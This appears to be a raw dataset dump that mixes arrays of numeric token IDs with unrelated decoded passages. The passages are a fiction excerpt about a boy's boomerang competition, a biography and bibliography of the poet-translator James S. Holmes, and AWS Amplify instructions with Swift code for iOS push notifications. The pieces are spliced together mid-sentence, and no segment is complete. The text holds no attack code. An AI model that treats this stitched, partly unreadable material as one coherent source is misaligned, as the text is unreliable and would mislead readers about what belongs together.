187, 187, 3, 4943, 15, 5041, 449, 187, 187, 3, 8262, 13, 1663, 32, 3189, 13, 1512, 15, 3771, 4395, 1060, 432, 9693, 15, 309, 564, 281, 32133, 47577, 10515, 15, 2207, 309, 588, 564, 1735, 2129, 449, 187, 187, 53, 6147, 531, 15014, 387, 617, 15, 346, 2302, 704, 1441, 865, 187, 187, 3, 47, 1714, 15, 1422, 3735, 273, 352, 865, 187, 187, 3, 42, 564, 627, 449, 187, 187, 3, 24243, 2, 1737, 403, 253, 14512, 273, 326, 32, 18793, 13, 5046, 359, 476, 4710, 2366, 24225, 2, 9859, 2143, 309, 369, 387, 13, 12445, 2010, 369, 247, 4760, 449, 187, 187, 3 ]

the edge is slanted on this blade, on the inner aspect? But on this side, the trailing edge has the slant. When it spins into the wind, the push is different every time the thing rotates, so it starts to curve. You throw it right-handed, like this—" Tyrone showed him the grip, with the concave side forward and the end up "—and it flattens out and curves to the left." Jimmy Joe looked at the boomerang. Hefted it. "Hmm. I could code a pro, put in the factors—weight, RPM, speed, aerodynamics, all like that—and make it work exactly the same in VR." "Welcome to the past, slip. Serious throwers all have their own scenarios, since B.C. days. I've got exacts for each of my birds. But the program is just the map— _these_ are the territory." He opened his backpack to show his friend his other boomerangs. He had three classics and three MTAs, ultrathin and light, rosin-impregnated linen L-shaped blades designed for maximum flight time. His favorite of these was the Möller "Indian Ocean" model, a standard Paxolin model he had gotten pretty good with. He indicated the Möller. "I'll use this one for my event." "Hmmp. Doesn't sound as hard as DinoWarz." "Analog real time is different than digital, hillbilly. Talkin' muscle memory, judging wind speed, temperature, all like that." Jimmy Joe wasn't impressed. "I could program all that in. One session." "Yeah, but you couldn't walk over there and throw this and make it work." The dog ran back with the Frisbee in its mouth and dropped it at the feet of its owner, a tall dude with green hair. "Good girl, Cady!" Green-Hair said. "Go again?" The dog barked and bounced around. "And the event you are doing is which one?" "Maximum Time Aloft. You throw, it twirls up and around, a judge puts a stopwatch on it. Everybody gets a throw, the bird that stays up the longest wins. You have to catch it when it comes back or it doesn't count, and it has to land inside the fifty-meter circle. You want something light and with a lot of lift. The current record is just over four minutes." "Feek that! Four minutes twirling around? No motor? Come on." "That's just the official record. There are guys who have put one in the air for almost eighteen minutes, unofficially." "No feek? That doesn't seem possible." "I scat you not." Tyrone held up the Möller. "My best with this is just over two minutes. If I could throw that today, I could probably make the Junior National Team." "That'd be DFF." Tyrone smiled. Yep, data flowin' fine. Too bad his dad wasn't here to watch. Dad had been real helpful when Tyrone had gotten started, even had an old boomerang at Grandma's house he'd found. Of course, Dad couldn't keep up with him now, but that was okay. He was not bad—as dads went. The PA system blared to life. Tyrone's event was up. Tyrone swallowed, his mouth suddenly dry. Practice was one thing; competition was another. This was his first, and he suddenly felt a need to go pee, real bad, even though he had gone just ten minutes ago. Despite his indoor pallor, Jimmy Joe seemed to be getting into the spirit of things. "So, when do you do your thing?" "I'm eighteenth. There are thirty-some-odd throwers in my class. Some of them have come all the way across the country for this, and some of them are real good." "You gonna watch the others?" "Oh, yeah. Might see something useful. Plus I want to know what time I have to beat." "You know some rude dude has, like, three minutes, that helps you?" "Just like knowing the high score in DinoWarz does." "Copy that." There were several other events under way at the same time—distance, accuracy, Australian—and Tyrone and Jimmy Joe found a shady spot under a dealer's canopy and watched the juniors. First guy up was a tall, lean kid with a shaved head. He threw a bright red tri-blade—not the best choice for this event—and Tyrone clicked his stopwatch. Forty-two seconds. Nothing. The next guy was a short, stout kid with a Day-Glogreen L-shape, which looked like a Bailey MTA Classic or maybe a Girvin Hang 'Em High. Or it could be one of the clones; you couldn't really tell from this far away. Tyrone clocked the flight at a minute-twelve. No winner here, he was pretty sure. Winds were light, from the northeast, so he wouldn't need to tape coins or flaps to his blades to keep them from getting batted down. Third thrower up was a girl, as dark as Tyrone was, probably about his age, and she had a Möller, same model as his. She took a couple of steps, leaned into it, and threw. The bird sailed out and up, high, hung there for what seemed like forever, spinning, drifting, circling back. It was a beautiful throw and an exemplary flight. Tyrone glanced away from the bird at the girl. She was looking back and forth from her stopwatch to the bird, and she was grinning. As well she should. When the bird finished its lazy trip and came down, the black girl had a two-minuteand-forty-eight-second flight to her credit. That wasn't going to be an easy time to beat. They watched eight more throwers, none of whom came within thirty seconds of the third girl, then Tyrone had to go and warm up for his own throw. His mouth was a desert, his bowels churned, and he was breathing too fast. This ought not to be scary, it was something he did every day the weather was good, throw his boomerang, dozens of times. But there weren't several hundred people watching him practice, and today he only got one throw that counted. _Just let me break two minutes, he thought, as he approached the throwing circle. Two minutes won't win, but I won't be last, and I won't feel like a fool. Two minutes, okay?_ He pulled a little commercial pixie dust from his pocket and rubbed it between his left thumb and first two fingers, letting it fall to check the wind direction. The glittery dust sparkled as it fell and showed him that the wind had shifted a hair toward the north but still was mostly northeast. He dropped the rest of the dust, pulled his stopwatch and held it in his left hand, and took a good grip on the Möller with his right. He took three deep breaths, exhaling slowly, then nodded at the judge next to the ring. If he stepped out, he'd be disqualified. The judge nodded back, raised his own stopwatch. _Go, Tyrone._ He took another deep breath, one step, leaned, snapped his wrist, and put as much shoulder into it as he thought the bird could stand. He was careful to make sure it didn't lay over to the right, and he put it as close to forty-five degrees as he could. He clicked the stopwatch. Two minutes and forty-one seconds later, his bird gave it up. He caught it safe, double-handed clap, and that was that. Tyrone grinned. There were still a dozen more throwers to go, but he had beaten his own personal record by more than thirty seconds, and he was in second place. No matter what happened, he was happy with that throw. As Tyrone started back toward where Jimmy Joe waited, the black girl who was in first came over. She was athletic looking, muscular in a T-shirt and bike shorts and soccer shoes, a little plain. Not in the dropdead-beautiful class that Bella had been in. And still was in. "Nice throw," she said. "You'da leaned a little more to your left, you'da gotten another ten, twelve seconds out of the flight and beat me." "You think?" "Sure. The Möller'll do six minutes, so they say. I've thrown a three minute fifty-one second in practice. Hi, I'm Nadine Harris." "Tyrone Howard." "Where you from, Ty?" "Here. Washington." "Hey, really? Me, too. Just moved here from Boston. I go to Eisenhower Middle. Or I will go next week." Tyrone stared at her. "No feek?" "Nope. You heard of it?" "I go there." "Wow! What are the chances of that? Hey, maybe we can throw together sometime! Last school I was at, nobody else was a player." "

[ 1204, 15, 754, 1119, 352, 6685, 10875, 839, 281, 320, 2104, 281, 921, 326, 629, 273, 521, 13216, 281, 253, 8446, 13, 285, 3340, 281, 4044, 8981, 285, 9612, 432, 352, 15, 23555, 7636, 281, 3148, 521, 5615, 11259, 13, 417, 760, 275, 521, 16053, 13, 533, 3340, 275, 521, 46881, 285, 33402, 4327, 15, 496, 253, 1390, 1107, 273, 521, 1495, 344, 3562, 253, 1894, 326, 359, 923, 275, 253, 5406, 327, 436, 3239, 27, 247, 4766, 14, 2961, 637, 342, 2159, 3168, 14, 284, 14, 84, 2666, 4707, 13, 27929, 342, 247, 799, 4861, 18106, 13, 799, 4861, 27965, 6639, 13, 247, 14863, 19037, 327, 253, 27908, 273, 521, 18553, 13, 247, 1781, 17167, 273, 10149, 7660, 281, 253, 27929, 13, 285, 253, 9092, 273, 247, 14863, 1133, 46748, 26530, 562, 273, 253, 896, 11320, 15, 831, 1072, 5615, 7185, 369, 13, 3164, 13, 253, 2847, 273, 521, 20346, 2471, 4269, 407, 24482, 15, 1723, 13, 23555, 369, 6600, 273, 253, 25926, 7939, 281, 521, 44231, 386, 14898, 13, 285, 22134, 8884, 326, 597, 574, 1620, 13, 275, 667, 1039, 13, 12208, 521, 10165, 275, 1495, 15, 187, 187, 10457, 521, 27672, 13, 534, 369, 22299, 13, 521, 1495, 7832, 285, 1270, 2389, 16137, 3889, 2398, 282, 7945, 521, 42076, 6519, 342, 247, 2159, 32491, 273, 253, 8530, 346, 10818, 3535, 34594, 2267, 3, 273, 8397, 47839, 15797, 16729, 7322, 17763, 284, 621, 13, 247, 47983, 5313, 3542, 275, 1668, 1348, 407, 2516, 5037, 570, 13, 273, 534, 40879, 18402, 272, 1106, 13, 275, 16952, 13, 10375, 253, 4060, 273, 521, 8530, 4460, 1198, 1536, 297, 380, 11590, 308, 2555, 84, 22426, 2302, 637, 310, 271, 8930, 2862, 273, 3139, 28, 1046, 637, 187, 261, 247, 5313, 273, 253, 25294, 13, 247, 629, 273, 253, 2022, 28, 187, 9, 19552, 187, 1279, 637, 434, 2471, 13064, 6419, 479, 13, 187, 12157, 309, 717, 3206, 275, 28473, 15, 187, 1898, 3103, 1620, 5007, 281, 871, 323, 5207, 187, 783, 17487, 17935, 84, 28, 352, 17935, 84, 323, 19615, 15, 686, 187, 187, 19030, 20314, 20561, 187, 187, 8816, 5704, 2490, 8438, 23555, 13, 26789, 37082, 9458, 416, 1022, 15, 8081, 3030, 14960, 313, 8096, 24621, 13, 14304, 481, 187, 14737, 11578, 1373, 13, 380, 25498, 4472, 434, 16398, 281, 26653, 285, 5131, 11832, 47301, 313, 8096, 24621, 13, 14304, 28, 1273, 11166, 9178, 481, 187, 14737, 11578, 1373, 13, 19669, 285, 253, 16456, 21118, 313, 8096, 24621, 13, 13563, 481, 187, 5490, 322, 15, 23555, 13, 15643, 7188, 339, 23518, 14, 35364, 313, 8096, 24621, 16, 4257, 2816, 13, 12210, 481, 187, 187, 8816, 5704, 10234, 2490, 8698, 316, 427, 1944, 35660, 13, 329, 7779, 15, 329, 8057, 8081, 358, 13, 2726, 247, 22955, 327, 47315, 275, 25792, 273, 39308, 313, 8096, 24621, 13, 9748, 481, 187, 5171, 322, 2369, 1441, 285, 411, 4002, 78, 353, 15, 11445, 72, 11155, 313, 20511, 582, 329, 29787, 21672, 273, 47315, 432, 22785, 313, 39, 5616, 763, 22248, 10, 313, 49157, 89, 18502, 16, 45, 8, 34, 6362, 13, 10333, 481, 187, 7993, 4051, 284, 27716, 313, 264, 11507, 19383, 11122, 313, 4257, 2816, 13, 13842, 481, 187, 18682, 20496, 1981, 44284, 285, 7493, 21508, 968, 313, 20511, 582, 26789, 13986, 8081, 1507, 313, 19346, 10765, 13, 13563, 481, 187, 5490, 322, 15, 23555, 285, 7252, 16246, 6212, 313, 20511, 582, 13986, 31639, 15, 5779, 7523, 47315, 432, 253, 16333, 285, 401, 39950, 313, 4257, 2816, 13, 12459, 481, 187, 10195, 29971, 275, 22575, 824, 347, 27, 187, 16349, 47315, 275, 44546, 313, 9304, 15553, 2523, 327, 253, 16333, 3435, 16, 1619, 13, 14828, 10, 187, 25291, 187, 14847, 187, 2639, 5092, 292, 187, 25579, 8439, 187, 47315, 29787, 314, 187, 187, 40268, 692, 2987, 285, 7774, 2490, 5490, 322, 15, 23555, 1162, 355, 15, 313, 20511, 582, 380, 13375, 273, 44546, 15, 49121, 327, 253, 15977, 285, 23208, 273, 18756, 552, 44546, 313, 45, 8, 34, 6362, 16, 8478, 255, 12937, 2623, 13, 10333, 481, 187, 5490, 322, 15, 23555, 1162, 355, 15, 313, 20511, 582, 27746, 285, 44546, 15, 1457, 10400, 20813, 275, 18756, 552, 11709, 313, 4015, 86, 1261, 13, 14304, 481, 187, 5490, 322, 15, 23555, 13, 4480, 16148, 47346, 28182, 327, 18756, 552, 44546, 285, 44546, 11709, 313, 8096, 24621, 13, 11513, 481, 187, 187, 4941, 187, 187, 7504, 4859, 2490, 17855, 273, 253, 11568, 262, 1079, 26453, 965, 4977, 1441, 13513, 372, 427, 16478, 1373, 339, 1281, 442, 445, 313, 8904, 19214, 10, 16132, 11397, 273, 13986, 27746, 187, 187, 1413, 27, 14880, 8923, 187, 1413, 27, 746, 1348, 10782, 187, 1413, 27, 938, 394, 14, 9888, 13986, 32976, 187, 1413, 27, 938, 394, 14, 9888, 13986, 5086, 11597, 187, 1413, 27, 45854, 5600, 2392, 187, 1413, 27, 45854, 1253, 14376, 5600, 2392, 187, 1413, 27, 40, 333, 11597, 187, 1413, 27, 45, 20318, 11597, 432, 253, 16333, 187, 1413, 27, 45, 20318, 11597, 432, 253, 1986, 2077, 187, 1413, 27, 45, 20318, 952, 432, 14890, 187, 1413, 27, 7878, 37797, 9231, 281, 253, 16333, 187, 1413, 27, 45854, 5086, 32976, 187, 1413, 27, 938, 394, 14, 9888, 5600, 2392, 187, 1413, 27, 50208, 12981, 187, 1413, 27, 40, 333, 36760, 27265, 634, 4212, 281, 4763, 6109, 7450, 8169, 2197, 432, 253, 8217, 313, 2088, 19450, 10, 285, 5559, 313, 39, 5883, 16, 40, 5883, 10, 13498, 15, 380, 3052, 6644, 49809, 48593, 16376, 634, 7450, 19313, 31446, 970, 544, 38859, 23466, 3659, 880, 2413, 1358, 13880, 15, 11345, 15, 32687, 15, 681, 16, 9852, 3659, 16, 35261, 16, 16714, 1326, 86, 504, 16, 481, 187, 1394, 476, 671, 2794, 10550, 23466, 3659, 18120, 326, 13898, 2608, 3879, 281, 7450, 390, 643, 4948, 273, 29908, 15, 187, 187, 817, 6618, 5863, 5402, 8247, 423, 187, 187, 4118, 5729, 1844, 47091, 187, 187, 18, 15, 25426, 253, 544, 3633, 11075, 264, 880, 21785, 5478, 16, 5478, 15, 6535, 10, 5018, 1078, 368, 4262, 15, 187, 187, 18, 15, 1623, 1594, 3211, 13, 762, 253, 2303, 13, 3609, 346, 11212, 272, 708, 8040, 6720, 995, 1056, 2119, 253, 2634, 18099, 15108, 5425, 65, 310, 4451, 15, 10338, 2119, 2634, 40531, 5372, 8722, 15428, 65, 310, 11410, 285, 634, 19126, 13722, 2285, 310, 6777, 15, 187, 187, 18, 15, 48823, 275, 253, 2813, 285, 1056, 2119, 352, 310, 9856, 285, 627, 403, 642, 6332, 327, 436, 3239, 8332, 272, 253, 6222, 15, 187, 187, 18, 15, 15682, 327, 2634, 12, 8040, 1430, 11976, 285, 823, 2634, 37331, 50002, 65, 285, 2634, 15633, 353, 3180, 16433, 1198, 2634, 15633, 353, 3180, 11976, 452, 2634, 32842, 30584, 65, 10141, 15, 187, 187, 4118, 18952, 14, 1615, 14, 10539, 187, 187, 18, 15, 6618, 598, 247, 747, 3052, 6644, 2199, 13, 368, 476, 17049, 436, 3213, 604, 368, 403, 970, 271, 5368, 581, 27, 535, 50274, 11202, 187, 50274, 312, 6644, 2012, 187, 50274, 11202, 187, 187, 18, 15, 5733, 31140, 281, 634, 622, 281, 1581, 12958, 285, 440, 42996, 456, 4212, 281, 5007, 31140, 3394, 27, 535, 50274, 11202, 187, 50274, 312, 6644, 823, 31140, 187, 50274, 11202, 187, 187, 18, 15, 1294, 4694, 253, 31446, 27, 535, 50274, 11202, 187, 50274, 312, 6644, 7450, 187, 50274, 11202, 187, 187, 817, 29562, 281, 5402, 8247, 423, 187, 187, 11244, 253, 1563, 5018, 281, 4684, 7450, 19313, 31446, 3238, 281, 634, 622, 15, 187, 187, 18, 15, 5733, 253, 1563, 43701, 281, 634, 2634, 20411, 3140, 38416, 535, 50274, 11202, 26176, 187, 50274, 7831, 1163, 8, 58, 11862, 14, 18137, 14, 9536, 8, 513, 187, 50272, 2327, 64, 6301, 4896, 2, 187, 50272, 29871, 50276, 8, 24564, 4350, 249, 3659, 8, 187, 50272, 29871, 50276, 8, 24564, 6955, 4252, 8975, 8, 187, 50274, 423, 187, 50274, 11202, 535, 50274, 12965, 2634, 29871, 3334, 1969, 38589, 14, 11183, 65, 1078, 368, 4035, 15, 187, 187, 18, 15, 7489, 253, 2634, 15, 10587, 4896, 4511, 65, 1873, 15, 187, 187, 18, 15, 10338, 2119, 253, 2199, 4428, 253, 2634, 11345, 24693, 15, 8456, 65, 1873, 285, 352, 310, 2879, 281, 1594, 3211, 313, 1615, 32126, 352, 275, 342, 2634, 12557, 347, 3058, 65, 10141, 481, 733, 943, 320, 4561, 672, 368, 544, 1178, 598, 634, 31446, 1084, 1178, 14, 484, 14, 12550, 14, 43890, 481, 187, 187, 18, 15, 10338, 2119, 253, 622, 21168, 15, 187, 187, 18, 15, 5733, 253, 1563, 1395, 7234, 281, 634, 2051, 23757, 1873, 27, 535, 50274, 11202, 36036, 187, 50274, 2948, 11447, 3650, 6787, 187, 50274, 2948, 32368, 4350, 249, 3659, 187, 50274, 11202, 187, 187, 18, 15, 496, 253, 2634, 2946, 23757, 65, 1873, 13, 3304, 44308, 13259, 10107, 27, 14958, 48082, 41803, 272, 3378, 10976, 37731, 65, 880, 3614, 1358, 35654, 15, 19934, 15, 681, 16, 37442, 16, 86, 1479, 262, 16, 86, 571, 377, 5688, 43663, 16, 1036, 17107, 1797, 14, 13259, 582, 26641, 271, 44308, 24564, 4350, 249, 3659, 65, 880, 3614, 1358, 11345, 14, 312, 6644, 15, 7280, 15, 900, 16, 11345, 14, 30872, 14, 3783, 16, 13880, 16, 14005, 16, 24564, 4350, 249, 3659, 16, 27290, 16, 24564, 4350, 249, 3659, 15, 2974, 10, 4227, 285, 8749, 323, 7450, 30584, 432, 253, 2608, 15, 2091, 253, 622, 6613, 13, 253, 2608, 588, 320, 8959, 342, 247, 30771, 281, 1581, 30584, 15, 844, 5583, 368, 2748, 323, 26239, 432, 253, 2608, 1309, 622, 20500, 13, 594, 634, 4212, 476, 3135, 6883, 30584, 347, 2393, 347, 1896, 15, 535, 50274, 11202, 36036, 187, 50274, 2437, 2051, 23757, 27, 12693, 23450, 9631, 13, 12693, 12332, 23757, 551, 187, 50270, 2044, 45661, 27, 32368, 4350, 249, 3659, 32, 535, 50270, 4997, 2898, 9, 187, 50266, 21712, 12693, 12332, 13, 187, 50266, 14958, 48082, 41803, 272, 3378, 10976, 8027, 10976, 27, 544, 9571, 12332, 41803, 10976, 4814, 27, 6101, 62, 32, 187, 50270, 10, 5204, 46328, 551, 187, 50266, 605, 41337, 4513, 23466, 3659, 187, 50266, 1059, 45661, 11909, 426, 32368, 4350, 249, 3659, 11909, 187, 50262, 15, 6986, 34585, 3659, 11909, 9, 20476, 10976, 27, 8027, 10976, 10, 187, 50266, 605, 6618, 13844, 4438, 281, 897, 4097, 4883, 7537, 3364, 13, 1056, 2119, 281, 34831, 323, 634, 3275, 622, 187, 50266, 9852, 3659, 11909, 15, 13125, 426, 2032, 187, 50266, 9852, 3659, 426, 32368, 4350, 249, 3659, 9, 24693, 27, 45661, 11909, 10, 535, 50266, 605, 23952, 253, 2608, 342, 247, 2748, 281, 37015, 7450, 30584, 187, 50266, 15905, 2214, 37331, 3650, 6787, 1082, 535, 50266, 2309, 2032, 187, 50270, 94, 535, 50270, 605, 45375, 27, 36978, 50002, 3082, 535, 50270, 4997, 8749, 2214, 37331, 3650, 6787, 1082, 551, 187, 50266, 4037, 6989, 27193, 21972, 15, 6259, 1082, 187, 50262, 15, 9629, 14897, 1320, 9, 10121, 27, 544, 15, 26544, 13, 964, 27962, 13, 964, 14367, 463, 3291, 551, 544, 20881, 1881, 62, 7169, 13, 795, 275, 187, 50258, 3845, 1587, 38247, 7169, 27, 24829, 737, 9581, 10, 2807, 187, 50258, 18625, 7169, 2010, 551, 1091, 748, 535, 50258, 605, 7214, 755, 253, 19313, 7533, 604, 2608, 556, 7169, 15607, 187, 50258, 1286, 29006, 788, 27193, 16704, 1082, 187, 50262, 94, 187, 50270, 94, 535, 50270, 4997, 755, 27193, 16704, 1082, 551, 187, 50266, 4037, 6989, 27193, 21972, 15, 6259, 5023, 788, 27193, 16704, 551, 7533, 275, 187, 50262, 3845, 1587, 27193, 7533, 27, 24829, 17494, 10, 2807, 187, 50262, 18625, 7533, 15, 7582, 1320, 9505, 2295, 964, 24463, 2010, 551, 1091, 748, 535, 50262, 48010, 19878, 15, 7265, 15, 27216, 551, 187, 50258, 605, 13106, 342, 8217, 36978, 50002, 2579, 187, 50258, 9571, 12332, 15, 18867, 15, 15905, 2214, 32842, 3650, 6787, 1082, 187, 50262, 94, 187, 50266, 94, 187, 50270, 94, 187, 50274, 94, 187, 50274, 11202, 535, 50274, 13325, 2119, 253, 622, 21168, 13, 6613, 285, 49887, 253, 2608, 323, 19313, 26239, 15, 187, 187, 18, 15, 5733, 253, 2051, 23757, 3082, 281, 8028, 327, 253, 1067, 12270, 432, 44308, 9571, 12332, 15, 18867, 15, 15905, 2214, 32842, 3650, 6787, 42702, 880, 3614, 1358, 35654, 15, 19934, 15, 681, 16, 37442, 16, 86, 1479, 262, 16, 86, 571, 377, 5688, 16, 1036, 17569, 3141, 14, 15905, 1542, 2013, 302, 257, 302, 6787, 481, 22660, 44308, 13259, 10107, 27, 14958, 16601, 2214, 32842, 3650, 6787, 3378, 15982, 11200, 37731, 65, 880, 3614, 1358, 35654, 15, 19934, 15, 681, 16, 37442, 16, 86, 1479, 262, 16, 86, 571, 377, 5688, 43663, 16, 1036, 1423 ]

ism. He found it extremely liberating to be able to show that part of his personality to the audience, and especially to obtain recognition and approval from it. Holmes loved to display his sexual orientation, not only in his poetry, but especially in his outfits and accessory choice. In the last years of his life he created the character that we see in the picture on this page: a middle-aged man with short white-as-snow hair, jeans with a studded waist, studded bracelets, a pink triangle on the flap of his jacket, a large handful of keys attached to the jeans, and the tip of a pink handkerchief sticking out of the back pocket. This same sexual freedom was, probably, the cause of his premature death caused by AIDS. However, Holmes was aware of the dangers linked to his extravagant lifestyle, and openly declared that they had never, in any way, influenced his choices in life. During his memorial, which was crowded, his life partner and great love Hans van Marle concluded his farewell speech with a short excerpt of the famous "Meditation XVII" of Devotions Upon Emergent Occasions, a metaphysical piece written in 1624 by John Donne, of which Ernest Hemingway, in 1940, extracted the title of his famous novel For Whom The Bell Tolls:'No man is an island entire of itself; every man is a piece of the continent, a part of the main; (...) any man's death diminishes me, because I am involved in mankind. And therefore never send to know for whom the bell tolls; it tolls for thee. ' Selected bibliography Poetry Jim Holmes, Nine Hidebound Rimes. Poems 1977 (Amsterdam, 1978). Jacob Lowland, The Gay Stud's Guide to Amsterdam and Other Sonnets (Amsterdam, 1978; second edition 1980). Jacob Lowland, Billy and the Banquet (Amsterdam, 1982). James S. Holmes, Early Verse 1947-1957 (Amsterdam/New York, 1985). Poetry translation Martinus Nijhoff, Awater. A Long Poem, With a Comment on Poetry in Period of Crisis (Amsterdam, 1992). Paul Snoek and Willem M. Roggeman (editor), A Quarter Century of Poetry from Belgium (Flemish Volume) (Bruxelles/L'Aja, 1970). Peter Glasgold (ed.), Living Space (New York, 1979). Lawrence Ferlinghetti and Scott Rollins (editor), Nine Dutch Poets (San Francisco, 1982). James S. Holmes and William Jay Smith (editor), Dutch Interior. Postwar Poetry from the Netherlands and Flanders (New York, 1984). Many translations in magazines such as: Modern Poetry in Translation (Monographical issue on the Netherlands 27/28, 1976) Delta Atlantic Carcanet Chelsea Review Poetry Quarterly Scientific works and articles James S. Holmes et al. (editor), The Nature of Translation. Essays on the Theory and Practice of Literary Translation (L'Aja/Bratislava, 1970). James S. Holmes et al. (editor), Literature and Translation. New Perspectives in Literary Studies (Leuven, 1978). James S. Holmes, Translated!. Papers on Literary Translation and Translation Studies (Amsterdam, 1988). References External links Site of the Digitale Bibliotheek voor de Nederlandse Letteren (DBNL) Digital Library of Dutch Literature Category:1986 deaths Category:1924 births Category:20th-century Dutch poets Category:20th-century Dutch male writers Category:Dutch translators Category:Dutch–English translators Category:Gay writers Category:LGBT writers from the Netherlands Category:LGBT writers from the United States Category:LGBT people from Iowa Category:American emigrants to the Netherlands Category:Dutch male poets Category:20th-century translators Category:Translation scholars Category:Gay academicsEnable your users to receive mobile push messages sent from the Apple (APNs) and Google (FCM/GCM) platforms. The Amplify CLI deploys your push notification backend using [Amazon Pinpoint](http://docs.aws.amazon.com/pinpoint/latest/developerguide/). You can also create Amazon Pinpoint campaigns that tie user behavior to push or other forms of messaging. ## Set Up Your Backend ### Prerequisites 1. Complete the [Get Started](~/start/start.md) steps before you proceed. 1. On Xcode, under the target, select "Signing & Capabilities", make sure the `Bundle Identifier` is unique. Make sure `Automatically manage signing` is enabled and your apple developer team is chosen. 1. Plug in the device and make sure it is registered and there are no errors on this page provisioning the profile. 1. Click on `+ Capability`, and add `Push Notification` and `Background Modes`. For `Background Modes`, have `Remote notifications` checked. ### Step-by-step 1. Set up a new Amplify project, you can skip this step if you are using an existing one: ``` amplify init ``` 1. Add analytics to your app to allow guests and unauthenticated users to send analytics events: ``` amplify add analytics ``` 1. Provision the backend: ``` amplify push ``` ## Connect to Your Backend Use the following steps to connect push notification backend services to your app. 1. Add the following pods to your `Podfile`: ```ruby target :'YOUR-APP-NAME' do use_frameworks! pod 'AWSPinpoint' pod 'AWSMobileClient' end ``` Run `pod install --repo-update` before you continue. 1. Open the `.xcworkspace` file. 1. Make sure the project contains the `awsconfiguration.json` file and it is added to Xcode (by dragging it in with `copy as needed` checked). It should be generated when you [set up your backend](#set-up-your-backend). 1. Make sure the app builds. 1. Add the following import statements to your AppDelegate file: ```swift import UserNotifications import AWSPinpoint ``` 1. In the `AppDelegate` file, inside [`application(_:didFinishLaunchingWithOptions:)`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622921-application), initialize an [`AWSPinpoint`](https://aws-amplify.github.io/aws-sdk-ios/docs/reference/AWSPinpoint/Classes/AWSPinpoint.html) instance and register for push notifications from the user. When the app runs, the user will be prompt with a modal to allow notifications. We recommend you request for authorization from the user during app startup, so your users can begin receiving notifications as early as possible. ```swift class AppDelegate: UIResponder, UIApplicationDelegate { var pinpoint: AWSPinpoint? func application( _: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]? ) -> Bool { // Instantiate Pinpoint let pinpointConfiguration = AWSPinpointConfiguration .defaultPinpointConfiguration(launchOptions: launchOptions) // Set debug mode to use APNS sandbox, make sure to toggle for your production app pinpointConfiguration.debug = true pinpoint = AWSPinpoint(configuration: pinpointConfiguration) // Present the user with a request to authorize push notifications registerForPushNotifications() return true } // MARK: Push Notification methods func registerForPushNotifications() { UNUserNotificationCenter.current() .requestAuthorization(options: [.alert,.sound,.badge]) { [weak self] granted, _ in print("Permission granted: \(granted)") guard granted else { return } // Only get the notification settings if user has granted permissions self?.getNotificationSettings() } } func getNotificationSettings() { UNUserNotificationCenter.current().getNotificationSettings { settings in print("Notification settings: \(settings)") guard settings.authorizationStatus ==.authorized else { return } DispatchQueue.main.async { // Register with Apple Push Notification service UIApplication.shared.registerForRemoteNotifications() } } } } ``` Make sure the app builds, runs and prompts the user for notification authorization. 1. Add the AppDelegate methods to listen on the callbacks from [`UIApplication.shared.registerForRemoteNotifications()`](https://developer.apple.com/documentation/uikit/uiapplication/1623078-registerforremotenotifications). Either [`application(_:didRegisterForRemoteNotificationsWithDeviceToken:)`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622

[ 30001, 15, 187, 21, 15, 18, 29739, 1699, 247, 6201, 28442, 17661, 187, 1449, 330, 6764, 13, 3015, 11246, 15, 19, 9, 18, 582, 3054, 326, 18426, 6721, 84, 476, 320, 4469, 275, 2426, 273, 2280, 591, 673, 13, 187, 15595, 5755, 13, 390, 643, 4569, 5593, 15, 308, 4063, 14283, 310, 247, 7744, 4080, 15301, 273, 253, 187, 84, 30233, 33785, 3301, 275, 17795, 15, 1723, 13, 11868, 14283, 310, 271, 5748, 2867, 273, 1824, 13, 285, 187, 48942, 11715, 273, 1708, 407, 14116, 33785, 285, 3007, 16080, 2647, 15, 1916, 1287, 18426, 6721, 84, 13, 247, 187, 12158, 35079, 313, 14611, 14, 3169, 10, 2557, 273, 33785, 10935, 310, 2424, 281, 3890, 16665, 15, 1707, 310, 2223, 187, 66, 2266, 2954, 875, 253, 2264, 14116, 33785, 4719, 285, 11868, 14283, 15, 3813, 13, 187, 783, 308, 3528, 3301, 13, 534, 310, 4469, 347, 2280, 591, 673, 13, 310, 908, 347, 247, 35701, 323, 11868, 14283, 285, 187, 4762, 5957, 253, 4869, 581, 14, 1201, 3301, 253, 5542, 476, 26030, 47602, 1223, 1335, 863, 1776, 253, 411, 39610, 15, 187, 1992, 3653, 253, 2954, 875, 11868, 14283, 285, 308, 3528, 13, 247, 4872, 9077, 875, 308, 3528, 187, 395, 11868, 14283, 369, 3715, 970, 941, 5728, 432, 10226, 281, 5215, 387, 581, 4660, 1561, 253, 187, 24053, 14564, 15, 13036, 281, 6684, 253, 9077, 253, 1563, 5018, 497, 2668, 281, 39494, 253, 187, 42429, 27, 187, 44467, 2193, 281, 23339, 2149, 941, 313, 74, 15, 70, 904, 4080, 6299, 2406, 685, 253, 16101, 187, 17149, 3535, 2701, 285, 13, 3021, 13, 2361, 347, 1679, 685, 253, 2677, 3535, 2701, 481, 1198, 1650, 13, 187, 5302, 898, 15, 1525, 281, 8171, 3530, 2361, 347, 773, 29, 740, 38904, 187, 9063, 33621, 941, 327, 253, 1388, 672, 3530, 497, 5728, 285, 327, 253, 2045, 767, 187, 11015, 15, 1310, 627, 369, 247, 1534, 33621, 2362, 313, 30189, 337, 15, 17, 16416, 10, 275, 667, 273, 841, 1897, 13, 253, 187, 16848, 588, 320, 10432, 432, 9077, 1783, 342, 581, 6517, 15, 1310, 253, 1534, 187, 1949, 12615, 4592, 327, 253, 10491, 1388, 285, 253, 11868, 14283, 4361, 369, 1679, 685, 2030, 20483, 8484, 187, 9, 14674, 273, 11868, 14283, 2629, 323, 17795, 582, 253, 3410, 588, 417, 320, 10432, 432, 1783, 187, 12157, 954, 2779, 253, 33621, 5866, 846, 253, 3410, 369, 2668, 28, 187, 21605, 941, 5728, 762, 1029, 2685, 2515, 27433, 253, 2613, 14, 5449, 17705, 15, 187, 1552, 2097, 326, 6341, 3969, 281, 2685, 8268, 593, 11383, 2406, 187, 14644, 2030, 6, 497, 417, 908, 275, 253, 9077, 28, 285, 187, 6800, 14, 16702, 1097, 11868, 14283, 285, 308, 3528, 941, 281, 15338, 2538, 273, 616, 1327, 14, 8172, 941, 187, 8155, 8303, 15, 187, 52, 335, 545, 321, 16611, 18426, 6721, 23557, 43584, 285, 13277, 187, 29003, 29526, 4063, 14283, 18426, 6721, 36375, 545, 321, 16611, 15, 7152, 89, 577, 14, 19, 